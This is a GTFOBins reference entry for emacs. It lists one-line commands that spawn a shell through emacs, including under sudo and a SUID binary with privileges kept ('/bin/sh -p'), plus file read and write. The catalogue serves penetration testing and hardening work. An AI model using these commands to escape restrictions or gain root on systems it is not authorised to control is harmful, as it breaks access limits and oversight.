GTFOBins.github.io/_gtfobins/emacs.md
2018-05-28 20:12:44 +02:00

17 lines
363 B
Markdown

---
functions:
execute-interactive:
- code: emacs -Q -nw --eval '(term "/bin/sh")'
sudo-enabled:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
file-read:
- code: |
emacs file_to_read
file-write:
- code: |
emacs file_to_write
C-x C-s
---